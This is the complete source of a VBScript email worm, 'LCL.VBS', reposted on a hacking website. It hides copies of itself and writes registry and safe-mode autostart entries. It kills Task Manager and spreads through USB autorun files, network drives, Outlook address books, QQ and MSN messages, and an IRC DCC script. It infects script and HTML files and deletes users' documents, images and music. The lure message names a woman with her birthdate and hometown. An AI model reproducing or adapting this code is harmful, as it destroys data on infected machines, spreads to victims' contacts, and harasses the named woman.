rem email:[email protected]
rem some crack statement i remment,make it can't to run
on error resume next
dim title,text
title="can you help me find a person?"
text="her name is Liu Chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"I was died because by her,"&chr(13)&chr(10)
text=text&"I am demanding my life of you."&chr(13)&chr(10)
Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7
set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close
dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N)
dim x
for x = 0 to 254
if n = chr(x) then
scode = x
exit function
end if
next
end function
rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
cc = mid (self,l,1)
if l>99 and instr(self,"Liu Chun li")>0 then
cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
end if
correy=correy&cipher
next
lcl.Write correy
lcl.Close
dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"
do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop
dim d
For Each d in fso.Drives
if d.drivetype<>4 then
fso.CopyFile b, d&"\lcl.txt"
scan(d)
end if
if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
set inf=fso.createtextfile(d&"\autorun.inf",true)
fso.getfile(d&"\autorun.inf").attributes=7
inf.writeline "[autorun]"
inf.writeline "open="
inf.writeline "shell\open=打开(&O)"
inf.writeline "shell\open\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\open\Command=WScript.exe lcl.vbs"
inf.writeline "shell\open\Default=1"
inf.writeline "shell\explore=资源管理器(&X)"
inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\explore\Command=WScript.exe lcl.vbs"
inf.close
set ini=fso.createtextfile(d&"\desktop.ini",true)
fso.getfile(d&"\desktop.ini").attributes=7
ini.writeline "[.ShellClassInfo]"
ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.close
set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
fso.getfile(d&"\lclrun.vbs").attributes=7
lclrun.writeline "On Error GoTo 0"
lclrun.writeline "set fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline "ifor each d in fso.drives"
lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"
lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "
lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline "end if"
lclrun.writeline "next"
lclrun.close
end if
next
dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set netDrives = WSHNetwork.EnumNetworkDrives
If netDrives.Count > 0 Then
For i = 0 To netDrives.Count - 1 Step 2
net1 = netdrives(i)
net2 = netDrives(i + 1)
scan (net1)
scan (net2)
Next
End If
dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"&"lication")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
Set addrList= mapiObj.AddressLists ''获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
item.To = addrEnt.Address
item.Subject = title
item.Body = text
Set attachMents=item.Attachments
attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
item.DeleteAfterSubmit = True ''信件提交后自动删除
If item.To <> "" Then
item.Send
wshshell.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if
rem next from i love you.
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = title
male.Body = text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each objItem In colAddressLists
If objItem.AddressEntries.Count <> 0 Then
intCountOfAddresses = objItem.AddressEntries.Count
For i = 1 To intCountOfAddresses
Set objMailMsg = objOutlook.CreateItem(0)
Set objDestAddress = objItem.AddressEntries(i)
objMailMsg.To = objDestAddress.Address
objMailMsg.Subject = title
objMailMsg.Body = text
execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
strAttach = strFilePathName
objMailMsg.DeleteAfterSubmit = True
objSend.Add strAttach
If objMailMsg.To <> "" Then
objMailMsg.Send
End If
Next
End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then
WshShell.AppActivate wbemobject.name
WshShell.SendKeys "can you help me find a person?"
WshShell.SendKeys "^{enter}" ' or "^~"
WScript.Sleep 9000
WshShell.SendKeys "her name is Liu Chun li"
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her birthday is 1981-02-17."
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys "^{enter}"
end if
Next
sub scan(folder)
On Error GoTo 0
set fd=fso.getfolder(folder)
for each file in fd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
rem or ext="mspx"
if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
if ext="ini" then
if not instr ( self1 ,"Liu Chun li" ) > 0 then
dim ini
set ini=fso.opentextfile(file.path,8,true)
ini.writeline chr(13)&chr(10)
ini.WriteLine "[script]"
ini.WriteLine "n0=on 1:JOIN:#:{"
ini.WriteLine "n1= /if ( $nick == $me ) { halt }"
ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs"
rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}"
'利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine "n3=}"
ini.WriteLine ";Liu Chun li"
ini.close
end if
end if
rem every 9 in the lunar calenda do it
if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then
file.delete true
end if
next
for each subfd in fd.subfolders
scan(subfd)
next
end sub
本文由 华域联盟 原创撰写：华域联盟 » LCL.VBS 病毒源代码
转载请保留出处和原文链接：https://www.cnhackhy.com/15071.htm
